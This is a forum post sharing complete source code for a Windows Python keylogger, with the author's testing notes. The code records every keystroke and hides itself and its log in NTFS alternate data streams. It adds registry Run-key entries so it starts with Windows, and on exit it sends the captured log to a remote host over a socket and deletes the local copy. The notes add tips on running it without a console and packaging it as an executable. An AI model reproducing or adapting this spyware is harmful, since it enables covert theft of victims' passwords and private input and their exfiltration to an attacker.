I've been working on a Windows based Python keylogger for the past days, and I thought I would share the code here. Although it's usable in its current form, I intend to come back to it at some point, after I get more familiar with the intricacies of Windows programming, and add some features that I didn't have the knowledge (and time, and patience) to implement right away, along with improving what could be improved in its current version.
Overview of what it does:
When started, it hides itself in the ADS of a file and saves the log in another ADS. It checks if the current user has Administrator privileges, and if it does, it adds a registry entry for all users to run at startup, unless it's been already added. If user isn't an admin, it adds registry entry for the current user only. When it exits, it sends the log to a remote host via sockets and deletes the local log.
import pyHook
import pythoncom
import win32api, win32event
import sys
import shutil
import os
import socket
import atexit
import ctypes
import _winreg
def checkPriv():
"""
Check if the current user has admin rights
Return True if admin or False if not
"""
try:
is_admin = os.getuid() == 0
except AttributeError:
is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
return is_admin
# log name
LOGFILE = 'log'
# file to attach log to
LOGHOST = 'Path_of_file_to_hide_log_in' # ex.: C:/Users/admin/Desktop/hidelog.txt
# file to hide in
HIDDEN = 'C:/Users/admin/Desktop/hideme.txt:japk.py' # dummy file to hide keylogger in (this is what I used for testing
def hideSelf():
"""
When the program runs, move it from its current location to a more stealthy
location inside an ADS
"""
# path of the program
path = os.path.abspath(sys.argv[0])
if path != HIDDEN:
try:
shutil.move(path, HIDDEN)
except shutil.Error:
return
hideSelf()
def logKeys(data):
"""
Write the logged keys to a file and hide it in an ADS
"""
try:
with open("%s:%s" % (LOGHOST, LOGFILE), "a") as f:
f.write(data)
except IOError, e:
print e
sys.exit(1)
# remote host details for sending the log
ip = 'some_ip_here'
port = 80
def sendLog(host, port):
"""
Send log and clean up
"""
# read in file
try:
with open("%s:%s" % (LOGHOST, LOGFILE), 'r') as f:
contents = f.read()
except IOError, e:
print e
sys.exit(1)
# length of the data that will be sent
length = len(contents)
# send the log contents
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
total = 0
while total < length:
sent = sock.send(contents[total:])
if sent == 0:
return
total += sent
if sent == length:
# delete local log
os.remove("%s:%s" % (LOGHOST, LOGFILE))
sock.close()
except socket.error, e:
print e
sock.close()
return
# send the log when program exits
atexit.register(sendLog, ip, port)
# variables for registry constants #
HKLM = _winreg.HKEY_LOCAL_MACHINE
HKCU = _winreg.HKEY_CURRENT_USER
if checkPriv() == True:
# reg handle for HKLM
hklm_reg = _winreg.ConnectRegistry(None, HKLM)
else:
# reg handle for HKCU
hkcu_reg = _winreg.ConnectRegistry(None, HKCU)
startup = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
# these will be added to registry if user is admin
hklm_key = 'Admin log'
hklm_val = 'python C:\\Users\\admin\\Desktop\\hideme.txt:japk.py' # example of path
# these will be added to registry if user is not admin
hkcu_key = 'Standard log'
hkcu_val = 'path_of_the_keylogger_for_standard_user'
def checkRegVal(reg, regkey):
"""
Check if registry entry already exists
Return the entry if it does or False otherwise
reg => registry handle
regkey => name of the subkey for the keylogger
"""
try:
key = _winreg.OpenKey(reg, startup, 0, _winreg.KEY_READ)
except WindowsError, e:
print e
return
try:
val = _winreg.QueryValueEx(key, regkey)
return val
except EnvironmentError:
return False
def addToStartup():
"""
Add script to startup by modifying the registry
"""
if checkPriv() == True:
if checkRegVal(hklm_reg, hklm_key) == False:
try:
# get a handle to the desired key
key = _winreg.OpenKey(hklm_reg, startup, 0, _winreg.KEY_WRITE)
# set registry value
_winreg.SetValueEx(key,hklm_key,0, _winreg.REG_SZ, hklm_val)
except (WindowsError, EnvironmentError), e:
print e
return
_winreg.CloseKey(key)
_winreg.CloseKey(hklm_reg)
else:
return
# if not admin
else:
# check first if entry was added for all users
if checkRegVal(hklm_reg, hklm_key) == True:
return
# check if entry was added for current user
elif checkRegVal(hkcu_reg, hkcu_key) == True:
return
# add entry if it wasn't present already
else:
try:
key = _winreg.OpenKey(hkcu_reg, startup, 0, _winreg.KEY_WRITE)
_winreg.SetValueEx(key,hkcu_key,0, _winreg.REG_SZ, hkcu_val)
except (WindowsError, EnvironmentError), e:
print e
return
_winreg.CloseKey(key)
_winreg.CloseKey(hkcu_reg)
addToStartup()
def monitorKeys(event):
"""
This function does the keylogging
"""
data = ""
if event.Ascii == 13:
keys = '<ENTER>\n'
elif event.Ascii == 8:
keys = '<BACKSPACE>'
elif event.Ascii == 9:
keys = '<TAB>'
elif event.Ascii == 127:
keys = '<DELETE>'
# debug only remove / comment out when done
elif event.Ascii == 126:
sys.exit(0) # needed a hotkey to kill it during testing
else:
keys = chr(event.Ascii)
data += keys
logKeys(data)
return True
# Registers and manages callbacks for low level mouse and keyboard events.
hook = pyHook.HookManager()
# Registers the given function as the callback for this keyboard event type.
# Use the KeyDown property as a shortcut.
hook.KeyDown = monitorKeys
# Begins watching for keyboard events.
hook.HookKeyboard()
# Pumps all messages for the current thread until a WM_QUIT message.
pythoncom.PumpMessages()
I tested it on Windows 7 32 bit with UAC disabled. Also, I tested the individual components for both admin and normal user, but the final version only as admin user because of the following:
- I wasn't able to find a location that would be accessible by all users, regardless of privilege, so I tested it with different file hosts for admin and normal user. So, even if the keylogger was added at startup for all users, its path wouldn't exist for non-admins
- I had to find a location for hiding that would ensure the script would run at startup. Initially I hid it in C: , and it would work if called directly, but when called from the startup entry, it wouldn't write the log file (although it still grabbed the keystrokes)
<random rant>
This was the first time I wrote something specifically for Windows and it was awful. For every small step forward there were like 10 complications popping up. Some things didn't work for no apparent reason, so I had to resort to trial and error.
That number of Windows restarts..
</random rant>
If you don't want to see the Python console, it can be saved as .pyw and ran with no console output.
It can also be packaged as an exe, but it will be necessary to modify some of the source code.
I can't say how portable it is between versions of Windows, especially the registry editing part might not work on 64 bit. I only tested it on one version, because there is a limit to how many virtual machines one can have, and I can't delete any of my other ones to make space for a new one.
If anyone wants to play with it, it might be better to comment out the hiding and ADS parts and save the log normally to be able to check that everything works instead of fumbling for ADS's. The most efficient way I found for testing was to comment out the hiding and send log parts for the initial tests.
Maybe it would have looked more organized with OOP, but when I started it, I only expected to write the keylogging part and some log sending functionality, when I got ideas for the rest I added those too and it grew a bit outside the initially expected proportions.